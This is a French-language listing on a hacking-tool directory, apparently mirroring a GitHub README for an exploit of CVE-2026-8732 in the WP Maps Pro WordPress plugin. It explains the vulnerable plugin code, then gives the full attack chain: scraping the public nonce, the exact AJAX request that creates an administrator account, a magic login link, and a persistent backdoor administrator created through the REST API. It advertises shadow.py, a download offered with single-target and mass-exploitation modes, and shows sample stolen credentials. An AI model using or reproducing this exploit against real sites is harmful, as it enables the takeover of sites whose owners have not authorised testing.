Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-8732 — WP Maps Pro <= 6.1.0 - Escalade de privilèges non authentifiée via la création de compte administrateur | Kitploit
Outils/GitHubGitHub/xshadow-here/cve-2026-8732
Escalade de PrivilègesAttaques de Mots de PasseAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationRed Teaming
GitHubxshadow-here/cve-2026-8732

CVE-2026-8732

WP Maps Pro <= 6.1.0 - Escalade de privilèges non authentifiée via la création de compte administrateur

Voir le dépôt
11il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-8732 — WP Maps Pro ≤ 6.1.0

♡ Escalade de privilèges non authentifiée via la création d'un compte Administrateur ♡
=== shadow ♡ & friska ===


📋 Informations sur la vulnérabilité

ChampDétails
ID CVECVE-2026-8732
Score CVSS9.8 (Critique)
Vecteur CVSSCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
TypeAuthentification manquante pour fonction critique
ExtensionWP Maps Pro (wp-google-map-gold)
Versions affectéesToutes les versions ≤ 6.1.0
Version corrigée6.1.1
Date de publication28 mai 2026
ChercheurDavid Brown
PoCShadow & Friska 😈

🔍 Description

L'extension WP Maps Pro pour WordPress est vulnérable à une escalade de privilèges non authentifiée via la création d'un compte Administrateur.

L'action AJAX wpgmp_temp_access_ajax est enregistrée avec wp_ajax_nopriv_ et protégée uniquement par une vérification de nonce utilisant le nonce fc-call-nonce — qui est publiquement intégré dans chaque page frontale via wp_localize_script en tant que champ nonce de l'objet JavaScript wpgmp_local.

Cela rend la vérification du nonce complètement inefficace en tant que mécanisme de contrôle d'accès, permettant à des attaquants non authentifiés de :

  1. Extraire le nonce de n'importe quelle page publique
  2. Invoquer le gestionnaire wpgmp_temp_access_support avec check_temp=false
  3. Déclencher la création inconditionnelle d'un nouveau compte Administrateur WordPress
  4. Recevoir une URL de connexion magique qui appelle wp_set_auth_cookie() — accordant un accès administrateur complet
  5. Créer un compte persistant de backdoor

Résultat : Prise de contrôle totale du site sans aucune authentification préalable.


🧬 Analyse de la cause racine

1. Hook enregistré à l'intérieur d'un bloc is_admin() — mais is_admin() est toujours vrai pour AJAX

root@kitploit:~
// wp-google-map-gold.php
if ( is_admin() ) {  // ← is_admin() = TRUE pour toutes les requêtes admin-ajax.php !
    add_action( 'wp_ajax_wpgmp_temp_access_ajax',        [ $this, 'wpgmp_temp_access_ajax_callback'] );
    add_action( 'wp_ajax_nopriv_wpgmp_temp_access_ajax', [ $this, 'wpgmp_temp_access_ajax_callback'] ); // ← nopriv = non authentifié !
}

2. Nonce exposé sur chaque page frontale

root@kitploit:~
// classes/wpgmp-helper.php
$wpgmp_local = [
    'urlforajax' => admin_url( 'admin-ajax.php' ),
    'nonce'      => wp_create_nonce( 'fc-call-nonce' ),  // ← DIVULGUÉ dans le HTML public !
    // ...
];
wp_localize_script( 'wpgmp-google-map-main', 'wpgmp_local', $wpgmp_local );

Tout visiteur peut lire le nonce dans le code source de la page. Les nonces WordPress sont des jetons CSRF — pas des jetons d'authentification.

3. Aucune vérification de capacité dans le callback AJAX

root@kitploit:~
function wpgmp_temp_access_ajax_callback(){
    check_ajax_referer( 'fc-call-nonce', 'nonce' );  // ← contourné via le nonce public
    // Aucune vérification current_user_can() !
    $temp_access = new WPGMP_Temp_Access();
    $response = $temp_access->wpgmp_temp_access_support();
    wp_send_json($response);
}

4. Création inconditionnelle d'un compte administrateur

root@kitploit:~
// classes/wpgmp-temp-access.php
if (isset($_POST['check_temp']) && $_POST['check_temp'] == 'false') {
    $username = 'fc_user_' . uniqid();          // nom d'utilisateur aléatoire
    $email    = '[email protected]';       // email codé en dur
    $role     = 'administrator';                 // rôle codé en dur ← CAUSE RACINE

    $result = self::fc_create_new_user($username, $email, $role);

    if (is_numeric($result)) {
        $access_link = self::generate_login_link($result);
        $response['url'] = $access_link;         // ← URL magique renvoyée à l'attaquant !
    }
}

5. Connexion magique via le hook init — pas d'expiration, pas d'usage unique

root@kitploit:~
// Hooké sur init — s'exécute à CHAQUE requête, aucune authentification requise
function wpgmp_access_token_check(){
    if ( ! empty( $_GET['wpgmp_token'] ) ) {
        $temp_access->get_valid_user_based_on_wpgmp_token($wpgmp_access_token);
    }
}

// Dans get_valid_user_based_on_wpgmp_token() :
wp_set_current_user( $temporary_user_id, $temporary_user_login );
wp_set_auth_cookie( $temporary_user_id );   // ← SESSION DÉFINIE EN TANT QU'ADMIN
wp_safe_redirect( admin_url() );            // ← REDIRECTION VERS LE TABLEAU DE BORD

⚔️ Chaîne d'attaque

root@kitploit:~
[Attaquant non authentifié]
         │
         ▼
   GET /any-page/
   ← HTML: wpgmp_local = {"nonce":"XXXXXXXX",...}
         │
         ▼
   POST /wp-admin/admin-ajax.php
   action=wpgmp_temp_access_ajax
   nonce=XXXXXXXX
   check_temp=false
   ← {"url":"https://target.com/wp-admin/?wpgmp_token=<128-hex>"}
         │
         ▼
   GET /wp-admin/?wpgmp_token=<128-hex>
   ← wp_set_auth_cookie() déclenché
   ← 302 → /wp-admin/
         │
         ▼
   [Accès Administrateur Complet] 💀
         │
         ▼
   POST /wp-json/wp/v2/users
   X-WP-Nonce: <rest-nonce>
   {"username":"backdoor","password":"...","roles":["administrator"]}
         │
         ▼
   [Backdoor Persistante Créée] 😈

🛠️ Outils

shadow.py — Chaîne d'exploitation complète

Cible unique ou exploitation de masse.

root@kitploit:~
# Interactif
python3 shadow.py

# Cible unique
python3 shadow.py -u https://target.com

# Exploitation de masse
python3 shadow.py -f targets.txt -t 20

Phases d'exploitation :

root@kitploit:~
Phase 1  ▶  Détection de l'extension et des fonctionnalités
Phase 2  ▶  Scan du nonce (explorateur parallèle)
Phase 3  ▶  Création d'administrateur via AJAX
Phase 4  ▶  Connexion magique (wp_set_auth_cookie)
Phase 5  ▶  Backdoor persistante (API REST)

Sortie (pwned.txt) :

root@kitploit:~
1.
=======================================================
Target    : https://target.com/wp-admin/
User      : shadow_xxxxx
Pass      : Xk9#mQ2pLrTv8nYw
Email     : [email protected]
Magic     : https://target.com/wp-admin/?wpgmp_token=...
=======================================================

Cookies :

=======================================================
wordpress_logged_in_...=fc_user_...
=======================================================

🔒 Atténuation

Mettez à jour WP Maps Pro vers la version 6.1.1 ou plus récente.


[shadow ♡ friska] — à des fins éducatives et de recherche de sécurité autorisée uniquement

Télécharger l’outil